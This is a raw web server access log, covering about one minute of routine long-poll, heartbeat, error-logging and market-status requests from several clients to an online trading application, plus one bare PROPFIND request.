[09/Jan/2026:15:17:34 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943323935 HTTP/1.1" -
[09/Jan/2026:15:17:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943325471 HTTP/1.1" -
[09/Jan/2026:15:17:36 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943341037 HTTP/1.1" -
[09/Jan/2026:15:17:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:17:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:17:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943325869 HTTP/1.1" -
[09/Jan/2026:15:17:37 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943332613 HTTP/1.1" -
[09/Jan/2026:15:17:39 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943328967 HTTP/1.1" -
[09/Jan/2026:15:17:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:17:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:17:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:17:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:17:41 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943330515 HTTP/1.1" -
[09/Jan/2026:15:17:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943346101 HTTP/1.1" -
[09/Jan/2026:15:17:42 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943337743 HTTP/1.1" -
[09/Jan/2026:15:17:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943331010 HTTP/1.1" -
[09/Jan/2026:15:17:44 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943334044 HTTP/1.1" -
[09/Jan/2026:15:17:44 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:17:44 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:17:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943335547 HTTP/1.1" -
[09/Jan/2026:15:17:46 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943351125 HTTP/1.1" -
[09/Jan/2026:15:17:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943342818 HTTP/1.1" -
[09/Jan/2026:15:17:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943336153 HTTP/1.1" -
[09/Jan/2026:15:17:49 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943339073 HTTP/1.1" -
[09/Jan/2026:15:17:49 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:17:49 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:17:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943340580 HTTP/1.1" -
[09/Jan/2026:15:17:51 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943356156 HTTP/1.1" -
[09/Jan/2026:15:17:52 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943347846 HTTP/1.1" -
[09/Jan/2026:15:17:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943341270 HTTP/1.1" -
[09/Jan/2026:15:17:54 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943344101 HTTP/1.1" -
[09/Jan/2026:15:17:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:17:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:17:55 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:17:55 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:17:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943345635 HTTP/1.1" -
[09/Jan/2026:15:17:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943361220 HTTP/1.1" -
[09/Jan/2026:15:17:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:17:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:17:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:17:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:17:57 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943352944 HTTP/1.1" -
[09/Jan/2026:15:17:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943346450 HTTP/1.1" -
[09/Jan/2026:15:17:59 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943349130 HTTP/1.1" -
[09/Jan/2026:15:18:01 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943350678 HTTP/1.1" -
[09/Jan/2026:15:18:01 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943366295 HTTP/1.1" -
[09/Jan/2026:15:18:01 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:18:01 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:18:02 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943357985 HTTP/1.1" -
[09/Jan/2026:15:18:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943351490 HTTP/1.1" -
[09/Jan/2026:15:18:04 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943354224 HTTP/1.1" -
[09/Jan/2026:15:18:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943355704 HTTP/1.1" -
[09/Jan/2026:15:18:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:18:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:18:06 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943371361 HTTP/1.1" -
[09/Jan/2026:15:18:07 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943363073 HTTP/1.1" -
[09/Jan/2026:15:18:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943356617 HTTP/1.1" -
[09/Jan/2026:15:18:09 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943359276 HTTP/1.1" -
[09/Jan/2026:15:18:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:18:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:18:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:18:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:18:11 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943360750 HTTP/1.1" -
[09/Jan/2026:15:18:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943376421 HTTP/1.1" -
[09/Jan/2026:15:18:12 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943368168 HTTP/1.1" -
[09/Jan/2026:15:18:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943361733 HTTP/1.1" -
[09/Jan/2026:15:18:14 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943364307 HTTP/1.1" -
[09/Jan/2026:15:18:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:18:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:18:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943365786 HTTP/1.1" -
[09/Jan/2026:15:18:16 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943381447 HTTP/1.1" -
[09/Jan/2026:15:18:17 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943373244 HTTP/1.1" -
[09/Jan/2026:15:18:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943366877 HTTP/1.1" -
[09/Jan/2026:15:18:19 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943369399 HTTP/1.1" -
[09/Jan/2026:15:18:19 +0800] 204.76.203.8 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PROPFIND / HTTP/1.1" 225
[09/Jan/2026:15:18:19 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:18:19 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:18:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943370829 HTTP/1.1" -
[09/Jan/2026:15:18:21 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943386479 HTTP/1.1" -
[09/Jan/2026:15:18:22 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943378283 HTTP/1.1" -
[09/Jan/2026:15:18:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943372021 HTTP/1.1" -
[09/Jan/2026:15:18:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:18:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:18:24 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943374496 HTTP/1.1" -
[09/Jan/2026:15:18:25 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:18:25 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:18:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943375874 HTTP/1.1" -
[09/Jan/2026:15:18:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:18:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:18:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943391797 HTTP/1.1" -
[09/Jan/2026:15:18:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:18:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:18:27 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943383384 HTTP/1.1" -
[09/Jan/2026:15:18:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943377141 HTTP/1.1" -
